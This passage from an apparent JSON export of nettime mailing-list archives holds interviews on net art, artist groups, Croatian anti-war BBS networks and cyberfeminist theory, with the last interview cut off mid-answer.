Insurance for artists does here in\nGermany (K\u00fcnstersozialkasse). But this point does conflict a lot with the\nidea of autonomy. I am not sure myself how it can go together. Although,\nI basically insist on my professional rights, it often seems to contradict\nthe status of being autonomous. And this uncertainty of the artists very\noften gets abused, by treating artists unprofessionally, and exploiting\nthem shamelessly.\n\nFC: A while ago you have said that you contradicted Gerfried Stocker\nwhen he equated art with creativity. Being an artist is a profession\nfor you, and therefore a definable and distinguishable subsystem of\nsociety. This would also be an anti-thesis to the idea of 'expanded art'\n['erweiterten Kunstbegriff'] \u00e0 la Fluxus - and to Joseph Beuys' idea of\n\"Everyone is an artist\".[Jeder Mensch ist ein K\u00fcnstler.]\n\nFC: I would simply add 'potential'. I think there shouldn't be any\nmechanism or criteria which includes certain people per se, but certainly\nnot everyone is an artist, although everyone could be an artist. But\nmost people don't feel any desire to become an artist anyway.\n\n[At his point we switched off the tape recorder and kept on talking about\nthe necessity of doing things on the one hand side, and discarding them\nagain on the other hand. During that the conversation turned to Neoism\nand its internal quarrels.]\n\nCS: Such quarrels can become very existential, very exhausting, and\nweakening. Things tend to become incredibly authentic - something I try\nto avoid otherwise.\n\nFC: But this is important. When I hear standard accusations, saying that\ndealing with systems, disrupting systems through plagiarism, fake, and\nmanipulation of signs, is boring postmodern stuff, lacking existential\nhardness, my only answer is that people who say this, never tried to\npractise it consequently. Especially, on a personal level, it can be\ndeadly. You have mentioned the group `-Innen' before, a group you have\nobviously been part of in the early 90s, before the days of net.art...\n\nCS: Yes, this was in '93-96.\n\nFC: And, if I get it right, it was also a 'multiple identity' concept.\n\nCS: Yes, and although we handled it very playful and ironic, it started to\nbecome threatening - so much that we had to give it up. We had practised\nthe 'becoming one person' to an extreme by looking exactly the same,\nand even our language was standardized. And then we felt like escaping\nfrom each other, and not meeting the others any more.\n\nFC: Is this the point where art potentially becomes religious or a sect?\n\nCS: Maybe, if you don't quit.\n\nFC: ... if you don't quit. I am thinking of Otto Muehl and his commune...\n\nCS: That is exactly the point where you have to leave and go for the\nunknown, leave the defined sector, and reinvent yourself - which  might\nbe not so easy. To do this together, in or with the group is almost\nimpossible. There's probably some marriages which realize to do so,\nto reinvent themselves and their relationship permanently, to keep it\nvivid. But with more people than two it's too much.\n\nFC: Are your projects kind of marriages for you, or sects or groups?\n\nCS: Well, it has a lot in common. That's amazing! It starts already with\nthe reliabiliy, which must be there. Because nothing works, if there\nis not a certain degree of reliability, also regarding the dynamics,\nhow roles are assigned or how people choose them.\n\nFC: Designing such systems also has something to do with control and\nloosing control, right? In the beginning you're the designer, you define\nthe rules, but then you get involved and become part of the game yourself,\nand the time has come to quit.\n\nCS: Well, certainly I do have my ideas and concepts, but the others might\nhave different ones. The whole thing comes to an end when the debates and\narguments aren't productive any longer. With the 'Old Boys Network' we\nare currently experimenting with the idea to release our label. To think\nthrough what that actually means was a painful process. You think:\"Oh\ngod, maybe somebody will abuse it, do something really aweful and stupid\nwith it. That's shit.\" But if we want to be consequent, we have to live\nwith that. And the moment comes where you have to learn to change the\nrelation you have towards your own construct - what might be difficult.\n\nFC: What was the case with 'Improved Tele-vision', where the system\nalready had been set? As far as I can see, this work was the first\nwhere you did not design the system yourself, but engaged in an already\nexisting process.\n\nCS: Yes, that's why it was so easy for me.[laughter] I didn't have to\nwork too hard on that one.[laughter]\n\nFC: Can you imagine to consciously leave 'Old Boys Network?'\n\nCS: Oh yes - meanwhile!\n\nFC: ... and ignoring it for like three years - or longer - and after\nthat period trying to engage again, but with an artistic approach which\nis observing, like in 'Improved Tele-vision'...\n\nCS: Sounds like a good idea, but I am afraid it would not work. My\npresumptious idea is, that three years after I have left, OBN would not\nexist any longer. [laughter]\n\nCS: At the same time it is a generic name. 'Old Boys Networks' have\nalways been around; usually, they are not exactly feminist. [laughter]\n\nCS: One big trap for us was, that we called it 'network', although it\nactually functioned as a group. And we refused to realize that for too\nlong. OK, there is the associated network of hundreds of boys, but the\ncore is a group.\n\nFC: But this seems to be a very popular self-deception within the\nso-called net cultures. I also say that also 'nettime' and the net culture\nit supposedly represented was in fact a group, at least until about 1998.\n\nCS: And that is the only way it works. There's no alternative way how a\nnetwork can come into being. At some point there have to be condensations,\nand commitments. And 'networks' don't require a lot of commitment.\n\nFC: So, how do network and system relate in your understanding?\n\nCS: I think a system is structured and defined more clearly, and has\nobvious rules and players. A network tends to be more open, more loose.\n\nFC: Now, I would like to know, if in your view, systems as well as\nnetworks necessarily have a social component. One could claim that purely\ntechnical networks as well as purely technical systems do exist. Your\nwork alternatively intervenes in social and technical networks. But,\nin the end, your intervention always turns out to be a social one. Can\nyou think of networks and systems - referring to the definition you just\nhave given - without social participation?\n\nCS: Not, not at all. Because the rules or the regulating structure always\nis determined by somebody. Like computer programs are often mistaken\nas something neutral. 'Microsoft Word' for example. Everyone assumes it\njust can be the way 'Word' it is. But that's not the case. It could be\ncompletely different.\n\nFC: ... as Matthew Fuller has analyzed in his text Text \"It looks like\nyou're writing a letter: Microsoft Word\" in every detail...\n\nCS: Yes, there are endless individual decisions involved - decisions\nof the programmer, and from the person who designs the program, and\ndecides how and where to lead the user, and to manipulate the user,\nmaking him/her doing certain things.\n\nFC: There's also earlier experiments within art, on designing\nself-regulating systems. Hans Haacke has built in the 60's his\n'Condensation Cube', made of glass. On it's side-walls water condensates\ncorresponding to the amount of people who are in the same room. Such a\nthing would not be of any interest for you?\n\nCS: No, I don't think so. It is also typical for a lot of generative\nart that one system simply is being transformed into another one. I find\nthis totally boring. For me, it is important that the intervention sets\nan impulse which results in - or at least aims for a change.\n\n\n# The interview by Cornelia Sollfrank and Florian Cramer was\n# commissioned for the new transcript series of books on Contemporary\n# Visual Culture published by Manchester University Press in association\n# with School of Fine Art, Duncan of Jordanstone College of Art and\n# Design, University of Dundee.  A shorter version of this interview\n# will be published in volume II of this series  'Communication,\n# Interface, Locality', edited by Simon Yuill and Kerstin Mey,\n# forthcoming autumn 2002. Please see MUP website:\n# www.manchesteruniversitypress.co.uk\n\n# This text is copylefted according to the Open Publication License v1.0\n# <http://opencontent.org/openpub/>; restrictions on commercial\n# publication apply.\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Fri, 15 Mar 2002 14:52:22 +0100",
                "to": "Nettime <nettime-l@bbs.thing.net>",
                "message-id": "20020315135222.GH317@theuth.complit.fu&#45;berlin.",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0203/msg00370.html",
                "list": "nettime_bold",
                "author_name": "Florian Cramer",
                "subject": "[Nettime-bold] Hacking the Art OS - Interview with Cornelia Sollfrank [2/2]"
            },
            {
                "content-type": "text/plai",
                "from": "aith Wilding <74447.2452 {AT} compuserve.com>",
                "id": "00031",
                "content": "\n\n\nInterview/Conversation with Vesna Jancovic. Vesna, former chief editor and now\ndirector of ARKZIN (antiwarkampaign) magazine, is an activist feminist \norganizer and writer who lives in Zagreb, Croatia. Faith Wilding is a feminist\nartist, activist, and writer, who lives in Pittsburgh, USA. This public \ninterview took place during the 1st Cyberfeminist International at the Hybrid \nWorkspace, Documenta X, Kassel, Germany, on September 27, l997. \n\nFW: Let's start by talking about what you are doing now with ARKZIN.  As I \nunderstand it, the magazine started in l991 as a biweekly fanzine of the \nanti-war campaign.  You described it as a bastard form between politics and \nhigh/low culture?   \n\nV: Yes. Now the publication ARKZIN is combined of high politics and grass \nroots initiatives, culture, sub-culture, putting a lot of attention on women's\nissues as well and it definitely had an important political role, also in \nproviding the counter information (during the war).  During all these years we\nkept contact with the similar independent medias in Serbia like Radio B 92, in\nBosnia especially with the magazine Dani  and Radio Zed.  Actually a great \nhelp to keep these communications and contacts was our BBS, named Zamir which \nmeans \"for peace,\"  and which we established in '92 with the great help of our\nWestern friends, especially friends from Bielefeld, and also some other \ninternational volunteers from Poland, and Katherine Turnipseed from United \nStates, who actually played a very important role in teaching women how to use\nthis new media, new tool.  Her project was Electronic Witches and she really \ndid a tremendous job in doing it.  \n\nFW:  So is there already a Cybefeminist movement in Croatia?\n\nV:  Unfortunately I think it's still very hard to talk about Cyberfeminism in \nCroatia.  A lot of us are basically using e-mail and most of us women who are \nactive are engaged in different social and political activities.  So still we \nare not so much present on Internet and we are not surfing on Internet, but I \nthink the first steps to get friendly with the new technologies are made, and \nI hope in future there will be more women's presence on the net.\n\nFW:  You told me some really interesting and important things about how these \nBBS, these bulletin boards were very influential in helping in the anti-war \ncampaigns and how they actually linked people instantly, to organize them for \nactions and really get things started.  Could you see this kind of tactic as \nworking for women in a particular way?\n\nV:  Yes, our BBS was important as I already said, in our work with the \nmagazine. It was important as a communication tool to keep the contact with \nthe people we otherwise couldn't reach because telephone lines were broken, \nbut it was also important in keeping different peace, human rights, and \nespecially women's initiatives communicating.  Very soon after establishing \nZamir BBS and Zamir Network we built up the Zamir Women's Conference, and this\nconference is used basically by  women's groups in different parts of \nex-Yugoslavia for exchanging the information, for organizing conferences, for \njust giving support to each other. Also an important role was to keep us in \ncontact with the outside world, I mean our partners in, especially, western \ncountries.  Last December, for example, we organized a big petition for media \nfreedoms in Croatia and BBS was very important to coordinate this action, \nwhich was organized simultaneously in different towns.  In a similar way it \nwas used in some previous campaigns for keeping the right to free, legal \nabortion. My experience is that Internet and new medias can be used as a \nreally strong political tool, supporting the grass roots initiatives and \nbuilding the broader grass roots networks.\n\nFW:  Yes, I agree. We spoke this morning about the fact that there are really \nbig differences between the different countries in the meanings of \nFeminisms--in the meanings of Feminist action, and how women use the net. \nThewebgirrls,  for example, presented the fact that they found women more and \nmore wanted to meet on the web socially, as a social connection, more so even \nthan wanting particular technical information.  That seemed to be a particular\nuse for women in Holland (whom they were talking about); but what you're \ntalking about in Croatia--and I suppose this is probably also true of some of \nthe other Eastern European countries where the medium was very much needed as \nan organizing, survival tool--there is a very different kind of use for it \nthere.  In fact, this is something that Cyberfeminism really needs to think \nabout and be very aware of, that we have actually a very tremendous power in \nterms of these instant connections that we can make now internationally; in \nthe way that we can call attention to various very critical situations that \nwomen might be in. You mentioned the  situation in Algeria, what's going on \nthere right now and what a big difference it could make there for Western \nmedia and Western women's groups to put a kind of watch, put an alert out over\nthe Internet in much the same way that Amnesty International often does.  I'm \neditorializing here I realize.... but, maybe you could give some further \nthoughts on that and some specific suggestions from your experience on how \nthis kind of organizing, political organizing across borders, might be able to\nwork for the cyberfeminists.\n\nV:  Well my experience in living in a quite repressive state is that our \ninternational connections actually saved us from being arrested or having \nother big problems.  Also, the second experience we made was the great help in\nour campaigns for keeping abortion legal.  We got big support from especially \nSwiss and German women's groups and so this making internal problems \ninternational, or putting them in the international context, made our struggle\nmuch easier and really kept us in a much safer position.  A month ago, I met a\nwoman from Algeria, who was a representative of a women's group in Algeria who\nare fighting to keep some basic rights in this new context they have there. \n(One of our other speakers) inspired me with the idea of how much easier it \nwould be for, for example this group of women too, if they can get \ninternational support, if they can inform the international community \nimmediately about the problems they are facing, about death threats they are \nfacing, and also I was thinking about possibility of the Internet as a tool by\nwhich some pressure to the governments can be made.  So I'm definitely \nsupporting (Babette's) idea of using the Internet as a political tool and \nusing the Internet as a bridge which can bridge the gap between low and high \ntechnological countries; as a tool which can give the voice to especially \nwomen in the third world.  I consider it as actually a very important part of \nCyberfeminist strategy.\n\nFW:  I agree, and it reminds me of some of the things that groups that I've \nbeen in have done already, using fax for example as a tool-- sending zillions \nof faxes.  You can really tie up a corporation's or a government office's fax \nmachines if everybody in the organization is alerted to send continuous faxes,\n to a very crucial number.  You can really throw some sand into the wheels \nthere.  As some of us were talking about last night, one of the things that we\nreally need to be aware of too, is that the Internet is not owned by us, that \nit's not been kindly provided by corporations for us to just have fun with, \nand put up our web pages, and play around with but, in fact it's actually a \nvery contested zone; it's a very controlled, surveilled zone, and if we want \nto continue to use it for our own ends then we have to constantly be very \ncreative about that and very vigilant to maintain the small hold that we have \non that space already.  That's something that we need to be very aware of as \nwomen too, because as women we need to think about claiming space, re-claiming\nspace, claiming voices.  One of the things we talked about was the possibility\nalso of using the Internet as an educational tool for women and you were \ntelling me about the way that you're beginning to organize with some women in \nZagreb for women's education. Would you be interested in talking about that a \nlittle bit?\n\nV:  Yes, just two years ago women's studies, a completely grassroots program \nhas started and also we got a lot of support in terms of books and information\nfrom our Western colleagues, and I was thinking actually about subscribing \nwomen's studies on the Faces  list just to make possible for students there to\nread part of discussion which are going on and to get some important \ninformation about books, about sites.  Maybe it can inspire some of them to \nget more involved in this new technology and they'll start to experiment \nthemselves.  Also I see the role of Internet as very important in breaking \nthis very nationalistic state of mind which we are facing there.  I am sure \nthat people who are using it now, who are really becoming a part of a global \nvillage will definitely have a much bigger amount of information and, I hope \nthat for them it will be impossible to be obedient to the system, the regime \nas it exists now in my country.\n\nFW:  I didn't warn you that I was going to ask you this question but..  A \ncouple of us were talking last night about the issue of public space and \nprivate space, more in connection with art, but very soon it got into a \npolitical discussion because of the issue (at least it has been an issue in \nAmerica for some time) of how artists are being asked to make public art and \nto go into communities and so-called public spaces to create work that in a \nway will mediate between museums and certain communities that are usually \nunderrepresented: you know, they'll try to send a black artist into a black \ncommunity, etc.  There are some real problems with the way artists are being \nused as sort of public relations people for museums, and the way that museums \nare giving funding to certain projects that really kind of cover up the fact \nthat most public space is essentially lost to us for our use.  It's all \ncorporately owned pretty much, it's surveilled, it's controlled, it's there \nfor the market place and not for people just to mingle and to meet and to have\nsocial relationships.  The Internet could offer perhaps, a new kind of public \nspace although that too is very, very contested, and definitely not just \nprovided freely, it has to be struggled for constantly.  So, I was describing \na situation that I think exists in America now in terms of public space and \nthe way artists are being used and it's really something that we're not \nperhaps as aware enough of as we should be. I really wonder if there is a \ncomparable situation in Croatia.  I mean, what about this issue of people \nbeing able to get together in public spaces and the freedom of people just  \nexpressing themselves in their various ways?  It seems like there would be \nsome really crucial problems there too.\n\nV:  Definitely there are many, many problems though they are quite different \nthan in the West.  Still, the state has a very, very important and strong \ncontrol over most of the civic and social sphere.  [So] there are just a few \nsmall islands, which I would like to call Temporary Autonomous Zones, where \nthe independent social life is possible.  Actually what I'm busy with for \nyears now and together with my colleagues there, is just to make these islands\nbigger and broader and more visible, though it's quite hard.  We have three TV\nchannels and all three of them are state owned and controlled though there are\nsome magazines but, we know that TV at the moment is the most influential \nmedia.  I also don't want to give up completely the fight to influence the \nexisting institutions but I'm very, very much in favor of creating our own \nspaces, our own institutions, our own autonomous zones where no censorship or \nno control could be made.\n\nCornelia:  May I ask a question?\n\nFW: Yes, please!\n\nC:  I'm very much interested in your personal background.  I would like to \nknow how your personal life looked like before the war and how it changed when\nthe war started and how you got involved in the peace movement.\n\nV:  Well, I'm a sociologist, I was studying sociology in Zagreb University and\nsince '86 I was already involved in Green, Women and Peace initiatives in \nCroatia.  At that time we were very much influenced by--besides all the \nradical theorists we could read about during our studies--we were very much \ninfluenced by especially what was going on here in Germany with the Green \nEcological movement; also with the Squatters Movement, with all this \nblossoming of the alternative culture and somehow that was my initiation in \nbecoming a political animal or becoming politically active.  Then war started \nin '91, a group of us who were very involved in these different civic \ninitiatives got together and said, \"Ok, war is starting.  let's try to do \nsomething!\"  It was obvious that we cannot stop the war at that stage but also\nobvious that war will bring lot of social, political and economical changes \nand that it will be necessary to organize ourselves and to influence some of \nthese changes.  How my life looked before the war and how it looked after the \nwar started?   Well it wasn't, actually, a very big change, my life just got \nmore intense, I just became more active, working more, and learning also much \nmore...\n\nFW:  You were telling me really interesting things yesterday about the kind of\ntraining that the peace groups undergo, the non-violent training, and the \nthinking about the theory of it and also the practice of it .  I think perhaps\nwe don't know really, we're not so aware of that, at least I'm not, in \nAmerica, that this is going on.  [And] it would be really interesting for me \nto hear you talk about that a little bit. \n\nV:  Yes one of the first things we did as the anti-war campaign was organizing\nthe trainings for non-violent action and non-violent communication.  Our first\ngroup whom we contacted was German group Bund fuer Soziale Verteidigung,.and \nactually it was a real discovery for me to get in touch with all this theory, \nwith also concrete methods and techniques: how to do it!  Very soon we got in \ncontact with different groups, with different trainers and lots of them were \nwilling to come and to give trainings to us. [And] I was actually very \nsurprised how many people, ordinary people got interested in it and the \nresponse was really good even in towns which were on the front line, which \nwere for a long time under the shelling, and still somehow it seems that it \ngave some hope to the people.  Out of these trainings, several projects have \ndeveloped, one of them was working in a small townPakrej, which was \ndivided-part of the town was under Croation control, part of the town was \nunder Serbian control. We were working there trying to do 'social \nreconstruction,' we call it: actually to make the communications between \npeople from both sides.  It was hard , it was tough job, but it worked very \nwell, and it was a model which was later transformed or brought to Bosnia, and\nnow there are some small towns in Bosnia in which this model of work is \napplied.  The other project which came out of these trainings is Peace \nStudies.  Peace Studies are just starting officially this autumn.  Though we \nhad organized for two years already, sort of one week events/workshops in \nwhich people who are active and who learned a lot through their engagement and\nthrough trainings there, participated in disseminating this knowledge to just \nordinary people who came and participated in these events.\n\nFW:  I guess one thing we haven't really discussed that much is what you think\nis the possibility for a media future for women in Croatia, and also it might \nbe interesting to hear what you think are the most pressing problems for women\nright now. I know there's many different groups of women, and many different \npositions, and economic backgrounds, in Croatia, but if you can make, perhaps,\nsome generalizations or comments it would be interesting to hear.\n\nV:  You are asking me about the future for the women in Croatia? Actually, one\nvery interesting thing has happened during these years of war (and this \nphenomenon is known from the history as well) and this is that actually all \nthese different civic initiatives--not just women's initiatives and women's \ngroups, but also human rights groups, peace groups, most of them were led by \nwomen and actually, though the war is not a very pleasant experience, somehow \na lot of women got encouraged, and they really started some projects, and are \nworking still on developing them. And what I think at the moment is important \n(there is no war situation anymore) is that I would not like to see all these \nwomen falling back again to (let's say) ordinary life, which means: life in \nwhich they will become invisible again.  And I hope it won't actually happen. \nBesides that, I would really like to see more women getting involved with \nthese new technologies.  I am personally also very excited about it and I hope\nthat I will also have more time now, to just play with the Internet and to see\nwhat will come out of it.\n\nFW:  Are there any questions from any of you?\n\nCornelia:  I have another question.  You mentioned you worked together with \npeople from Bielefeld building up what was it exactly? you have a mailbox \nsystem?  Zamir,  something like that?  I would like to know what your \nexperiences have been with women from the West or Western countries, Germany \nespecially, in terms of their cultural background and the difference in the \nrole of women and the different background in Feminism.  I'm sure that women \nin former Yugoslavia have been brought up differently and have a very \ndifferent system in their mind than we have here (in Germany).  I would like \nto hear something about that.\n\nV:  Well, though there are definitely differences, especially in the fact that\nduring socialism most of the women in our countries were working so they had \neconomical autonomy, but beside that the problem was this whole, old \npatriarchal system, which is I guess even worse than in the West. So there are\ndifferences, but my experience with working and cooperating with the women's \ngroups from the West is actually quite positive.  We could find a common \nlanguage and we also could learn something from experiences which were made by\nall the women's groups here.  You had twenty or thirty years of experience in \norganizing, in doing campaigns, founding the houses for women victims of \nfamily violence, and all these experiences were quite valuable to us. Because \nof this we could cope in better ways with some problems which are part of \nnatural group dynamics, conflicts which arise in every group, so it was easier\nfor us-- it's a sort of natural phase in the development of the group.  On the\nother hand, of course, we tried to relate to our own reality and to our own \nexperience, but this communication was, I must say, quite productive and I \nguess that also women's groups here got something from it.\n\nFW: Thank you very much, Vesna.\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Fri, 19 Dec 1997 11:34:38 -0500",
                "to": "Nettime-l {AT} Desk.nl",
                "message-id": "199712200057.BAA05929 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9712/msg00031.html",
                "list": "nettime_l",
                "author_name": "Faith Wilding",
                "subject": "<nettime> Interview with Vesna Jancovi"
            },
            {
                "content-type": "text/plai",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "id": "00107",
                "content": "\nThis interview was made at V2 Rotterdam, April 19th 1997. Alla\nMitrofanova is an art critic, media-philosopher, media art\ncurator at Gallery 21, St. Petersburg. Olga Suslova is a philosopher\nand media theoretician, also she is editor of the Virtual Anatomy\njournal. We discuss this journal and its recent theme, the body. From\nthis we also talk about cyberfeminism. Both Alla Mitrofanova and Olga\nSuslova consider themselves cyberfeminists.\n\n\n*:\n\nJB: You said you see yourselves as filosofers?\n\nOS: That is because our work is a theoretical one. Of course, our\nactivity doesn't describe itself as a classical process of\nphilosophizing which is opposite to practice, because, and that's\nevident for us, creation of meta-theory or meta-narrative that is\nfar from vital experience, is a non-productive position today. We\ncan't strictly distinguish or limit where art-practice stops and\nphilosophy begins and we don't pose this question, but if our form\nof representation is connected with texts and language we speak\nabout philosophy.\n\nJB: Is working with media a logical choice for a filosofer?\n\nOS: Yes, because working in the internet is actual for the modern\nsituation. Also its necesary to say that while we have these\ninternet experiences as we try to make our internet magazine,\nwe can analyse what happens in it, what problems there are.\nInternet - is a qualitatively new information space that changes\nthe mode of thinking, it changes process of orientation in the\nworld. Generally speaking the internet is a new type of human\nreality, a new field of experience, which is invested by libidinal\ncoloured interest as any other reality (social or economic field).\nThat is why reflection upon which of the \"libidinal\" demands of\nmodern people can be fulfilled or realized in this new reality of\nthe psyche has some provocative moments for us. When we see\nmultisemantic instead of monosemantic, reactivity and mobility\ninstead of stability, instrumentality instead of substantiality\nin the field of new media, it doesn't mean that they produce this\ntype of activity but it means that these characteristics of modern\nbeing are the most visible there. At the same time the Internet is\nthe place for explanation and the instrument of explanation.\n\nAM: The internet is a specific functional expression of contemporary\nculture. Analytical ability, new theoretical tools made for internet\nresearch suppose to be useful for current processes in different\nfields of culture.  Internet research has to have an appropriate\nanalytical discourse: not descriptive, not hierarchical, but\noperative, which is for me schizoanalyses based.\nThis is a half-marginal, half-mass popular hugh filosofical domain\nwhich was developed by two french filosofers, Deleuze and Guattari.\nIt is probably the most radical critique of structuralist thinking\nwith bipolar oppositions, a hierarchy of meanings and an illusion of\ncomplexity. Schizo analyses counted a multitude of not necessarely\nconnected significations, giving equal rules to each signifier, to\neach expression. Key word here is that every possible segment should\nwork for own cost, not for the cost of signifier order or of any other\nstructure. The same counts for subjectivity, the body. There are a lot\nof identities, but you responsible only for what you choose. We always\ncreate a conceptual remix of subjectivity and body.\n\nIt is not a compulsory process, but free choice, an open creative act.\nSo you don't need to worry about somebody's problem and you don't\nneed to worry about narrative describtions of reality. You just have\nto live in the most strong existential mode.\nIf you are strong existentially you could follow very quickly diffrent\nactivities around, you could participate without having very straight\nideas about the way you are and whats going on.\nSo the position is not to describe a world how it should be or how it\nis, but the position is to act productively, to be a productive\nfunctional body or person. I don't try to repeat the filosofy of\nDeleuze and Guattari here. I don't want to be responsible for the\ninterpretation of their ideas. My ideas are based on my personal\nexperiences which include a destruction of the soviet imperial\nsignifier order by a reshaped economical and territorial state.\n\nJB: Is the fact that you work with the experience of others,\nthat you look for the experience of others, and the fact that you\nsay you do communication thinking, is also linked to this?\n\nAM: You mean I said that we cannot have our personal practice in\nmany fields? And that we have to take a point above all to learn\nfrom somebody else experience? I think it is kind of a democratic\nposition because you cannot be productive in a different sense.\nYou should believe in your social, cultural neighborhood. So you\nvocalize/focus on peoples creative desires. Its a kind of social\npoliteness to work with the creative ambitions of people, to\nappreciate that other side (opposite) of everybody's realization.\nThere is no integration of somebody's experience into my personal\nexperience, but there is a communication where some things could\nbe correlative with intimate acts but remain other -  detached.\n\nJB: What neighborhood are you talking about now, do you mean your\nworking neighborhood, so that means the whole internet or some people\non it anyway, or you mean locally around you in St Petersburg?\n\nAM: I mean the whole neighborhood which I could reach through\ndifferent media or through my fysical presence. My ability to\nreach is very limited, because as a person I could keep for\nexample only a few emotional situations, not more. To have more\nI would have to develop my personal energy.\n\nJB: Why did you choose to have the body as a central point in\nyour work?\n\nOS: All through history we can see different types of \"body images\"\nthat have existed. We can see the variety of body practices that\nwere connected with problems of normativity, esthetic and ethic\nacceptibility. The \"harmonized\" greek body, the \"spiritual\"  body\nof christians, the \"exaltative\" body of romanthics and many more,\nbut also the body image of the structuralists that was determinated\nthrough the figure of the Other was deconstructed by schizoanalysis\nwith the concept of the \"process\" body-without-organs. The main\nquestion for us is: does the body image really change now? Can it\nreally exist as a pure accidental crossing of intensivities? How\ncan we escape the machine of representation, that writes upon our\nbodies? In the field of these questions the problem of computer\nexperience is the crucial one.\nWe see that in the internet the body image constituates itself as\nsurface, an interface which allows you to move and choose a point of\nbodygathering for reaction, for communication elsewhere. It doesn't\nwork with space but with a \"time\" of the body where the body has no\nstrict limits or concepts and is a process.\n\nJB: Do you say that because there simply is no real fysical body\non the internet? Of course the idea that you are completely free\nof your body and your gender is a bit of an illusion.\n\nOS: Yes, but we don't talk about fysical limits of the body, because\nsome knowledge constructions, some psychic constructions, discoursive\nand non-discoursive practices regulate our fysical activity and\nthat's why there is a correlation between our presence in the internet\nand our real behavior outside of the computer screen. While we have\nno center in the internet space and can choose different possibilities,\nwe can see in real life that our behavior shows signs that there is no\ncenter, no male or female position in the field of motivations, and\nthat we are relatively free in the choice of esthetic.\n\nAM: I like the question, because it moves you into the center of\nour problems: Why the body? The body is the last concept that could\nbe renovated among those which we have as a heritage from the big\nfilosofical discourse. The body is a concept. We cannot talk of pure\nmateriality, because pure materiality does not exist without\nconceptual, visual, functional structures and so on. So there is no\npure materiality but there is a concept of the body which includes\nimages, medicine, language, which rules our existential acts, etc.\nOnly in such models can we function as bodies. It means that if\ndifferent models of the presentation of the body are taken , the\nwhole concept and also fysical materiality would be changed. It\nmeans that in different cultures you will have a different body.\nFor example in India a person has a completely different body then\nwe have because it functions differently.\nThey perceive, they act differently. They have different organs for\nexample. They have chakra's, we have something else: liver, heart.\nThey work through chakra's, through energy. A chinese person for\nexample thinks from his navel, not from his head. The navel is a\ncenter of empathy and comprehension. Their concept of thinking is not\nbased on a cognitive (in Europe) but on a perceptive interface.\nThe European concept is that thinking is based on reason, on logos.\n\nJB: Can you explain the role of the game you created inside your\nmagazine?\n\nOS: Its a kind of example of how we can move in our body image, how\nwe can use various fragments of historical and cultural discourse\nfor our needs. It shows how our body image now can be composed of\nthese fragments. We can freely operate from a great number of cultural\narchives.\n\nJB: Do you have a goal with your magazine? Are you trying to give\ncertain ideas a kind of push? Or are you simply experimenting and\nexploring?\n\nAM: We are simply reflecting. Of course we have our own experiences,\nbut as reflectors we have to use the collective experience. We are\nsearching for the experience of different people to try and analyze\nemerging representative and existential practices.\nOf course we avoid generalized conceptions and strategies, thats a\nprofessional tactic.\nWe have to make a conception on the base of the experience of people\nwhich we consider an effective and joyful one.\n\nJB: But if your work is a reflection that means you have a question\nin mind, usually. What was the initial question or problem that made\nyou take the body as a theme for the magazine? Maybe you have already\nanswered this.\n\nOS: The main question for me is how and where can the modern body\nwork as a pure possibility. How can we create new body practices?\nAre we free in a choosing of them or not? How can we escape\noppressive systems of representation? Are we really caught by\nculture, hierarchy and the system of dispositives that operate the\nbody practices or can we create experiments, a freedom of body\nposition.\n\nJB: This is always a bit of a sensitive question, but is there a\nrelation between you being female and the fact that you got these\nquestions in mind?\n\nAM: In many ways yes, but not only. As a woman I successfully avoid a\nlot of social and political paranoias (usual traps for men). The most\nradical theoretical and practical  thing I did was two years ago:\nI got babies. Now I could say that it was a way to extend body, to\nfinish with existentialist axiom that we are isolated in the body and\nproduce inside/outside conflicts. It was the end of my subjectivity\nbased reflective paranoia. Now I have the experience to switch my\nsubjective mode from one to many different directions, which is not\nparanoia anymore, but probably schizofrenia.\nBut being schizofrenic in this way I found that I produce new problems,\nkind of body based survival problems. When you direct your subjectivity\nand body in many different directions, you should leave something\ninside your body that could renovate your existential ability. You\ncannot learn it from the European tradition.\n\nThe European tradition prescribed us to have a body which is totally\nagonized through language, through medicine, through politics etcetera.\nSo you have to go somewhere else and for example steal something from\neastern tradition and you should build a kind of uncultural or\nunconceptual, but also culturally open space to set up your personal\nexistence, to keep your body. I cannot say subjectivity because\nsubjectivity is a concept that is very much based on social and\ncognitive representations in the European tradition. Body as a\nconcept is a more productive mixture.\nIf your body as an operative system is too heavy, it does not work. So\nyou have to build an alternative model to centralized your body without\nbeing conceptually organized, you should learn to live in an\n(conceptually) empty stream. Your personal existence should be your\nenergetic motor.\n\nThats why we started the magazine, to develop the strategy how to keep\npure existence without cultural prescribtions how it should be. We try to\ngrasp a body not as an image, an object or signifier order, but as a multi\nfunctional operative ability.\n\nJB: Its funny that you don't make a distinction between identity and\nthe body. At least, thats what it sound like...\n\nAM: Identity is a lost concept for me, because identity should be an\nopen operative system akin subjectivity, body. Identity is a temporal\nassemblage of concepts, it should be diffrent in any event.  With\nflexible this identity we have a lot of freedom now, for example in the\ninternet identity is a game. Identity is not given, but a freely chosen\nrepresentation mode. Identity could be seen as a data base of possible\nrepresentations, which you could easily remix as you like. I don't see\nproblems anymore here. The problem goes deeper: how to make your\nexistential operative system more independent and more useful. How to\nsurvive being an individual body in a multitude of identities.\n\nJB: Do you think the internet is the tool 'par excellence' to explore\nthis way of thinking? Do you think that because of the new visions\nthat the new media communications gave, you were able to think the way\nyou are thinking now?\n\nAM: I would not say that the internet is for thinking, if we use\nthinking as a analytical and descriptive mode. If thinking is an\noperative system, we have no difference between thinking and practicing.\nThe Internet came not through thinking, not through concepts or images,\nit came through practice, through functioning.\nThe internet works in the contemporary existential model in the same way\nas politics for example. Being Russian I have had a wonderful personal\nexperience of the total destruction of the whole political narratives,\nwhich were very strong before. Now I see that all narratives, all\ndescribtive models as models are not useful in our society. I am lucky\nto have an experience of self-liberalisation from narrative, images,\nconcepts. Still they exist but there is a distance between the\nexistential stream (pre-conceptial level) and formal representations.\nIt is good to live in a period of radical changes.\n\nJB: Do you think that there should be things like v2 east?  Do\nyou think it is wise to keep in presentations the difference of\nbackground and gender, to make choices for certain artists to be\nin an exhibition purely based on their background?\n\nAM: You could have the most interesting answer from our 